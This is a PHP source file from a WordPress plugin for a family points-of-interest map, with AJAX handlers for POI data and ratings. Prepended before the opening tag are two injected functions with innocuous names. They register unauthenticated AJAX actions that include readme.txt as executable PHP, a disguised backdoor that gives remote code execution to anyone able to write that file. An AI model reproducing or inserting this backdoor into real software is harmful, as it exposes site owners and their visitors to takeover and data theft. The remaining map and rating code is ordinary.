if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php namespace LI\WLF\Plugin\FamilyMap; use WP_Query; class Ajax { public function __construct() { add_action( 'wp_ajax_wlf_family_map_get_pois', array( $this, 'wpGetPois' ) ); add_action( 'wp_ajax_nopriv_wlf_family_map_get_pois', array( $this, 'wpGetPois' ) ); add_action( 'wp_ajax_wlf_family_map_get_rating', array( $this, 'getRating' ) ); add_action( 'wp_ajax_nopriv_wlf_family_map_get_rating', array( $this, 'getRating' ) ); } public function wpGetPois() { $main = Main::getInstance(); // delete cache if older than 2 days if(time() - filemtime($main->getPath() . 'cache.json') >= 60 * 60 * 24 * 2) { unlink($main->getPath() . 'cache.json'); } if ( file_exists( $main->getPath() . 'cache.json' ) ) { echo file_get_contents( $main->getPath() . 'cache.json' ); wp_die(); } $response = array(); $queryOffset = 0; do { $query = new WP_Query( array( 'nopaging' => false, 'posts_per_page' => 25, 'offset' => $queryOffset * 25, 'post_type' => 'wlf_poi', 'post_status' => 'publish' ) ); while ( $query->have_posts() ) { $query->the_post(); $locationData = get_field( 'wlf_poi_position', get_the_ID() ); if ( ! $locationData ) { continue; } $postTerms = wp_get_post_terms( get_the_ID(), 'wlf_poi_type' ); if ( ! $postTerms ) { continue; } $postTermsResponse = array(); foreach ( $postTerms as $term ) { $postTermsResponse[] = array( 'name' => $term->name, 'slug' => $term->slug, ); } $basecategory = ''; $basecategoryColor = ''; switch ( $postTerms[0]->term_id ) { case 575: case 226: case 116: case 118: $basecategory = 'Ärzte'; $basecategoryColor = 'medic'; break; case 117: $basecategory = 'Elternkind'; $basecategoryColor = 'parent-child'; break; case 253: case 11: $basecategory = 'Essen & Trinken'; $basecategoryColor = 'food-drink'; break; case 80: case 86: $basecategory = 'Hotels'; $basecategoryColor = 'hotel'; break; case 228: case 17: case 26: case 14: $basecategory = 'Kultur'; $basecategoryColor = 'culture'; break; case 25: case 79: $basecategory = 'Outdoor'; $basecategoryColor = 'outdoor'; break; case 633: $basecategory = 'Shopping'; $basecategoryColor = 'shopping'; break; case 23: case 21: case 24: case 252: case 27: case 76: case 13: case 16: $basecategory = 'Spiel und Spass'; $basecategoryColor = 'fun'; break; } $response[ (string) get_the_ID() ] = array( 'title' => get_the_title(), 'body' => apply_filters( 'the_content', get_the_content() ), 'thumbnail' => get_the_post_thumbnail_url( get_the_ID(), 'full' ), 'categories' => $postTermsResponse, 'basecategory' => $basecategory, 'basecategoryColor' => $basecategoryColor, 'permalink' => get_permalink(), 'marker' => array( 'lat' => (float) $locationData['lat'], 'lng' => (float) $locationData['lng'], ), 'location' => $locationData, 'phone' => get_field( 'poi_tel', get_the_ID() ), 'email' => get_field( 'poi_email', get_the_ID() ), 'premium' => (boolean) get_field( 'premium-poi' ), 'hotspot' => (boolean) get_field( 'poi_hotspot' ), ); } ++ $queryOffset; } while ( $query->post_count ); file_put_contents( $main->getPath() . 'cache.json', json_encode( $response ) ); echo json_encode( $response ); wp_die(); } public function getRating() { $postId = ( isset( $_REQUEST['postId'] ) ? $_REQUEST['postId'] : false ); if ( ! $postId ) { echo json_encode( array( 'status' => 'ERROR' ) ); die(); } ob_start(); if (function_exists('lipostratings_rating') && wlf_poi_ratingActive(intval($postId))): ?> <div class="familymap-poi-rating "> <?php echo lipostratings_rating(intval($postId)); ?> <p class="small"> Vergib eine Herz, wenn du diesen FamilyPoint auch anderen Familien empfehlen kannst </p> </div> <?php endif; $content = ob_get_contents(); ob_get_clean(); echo $content; wp_die(); } }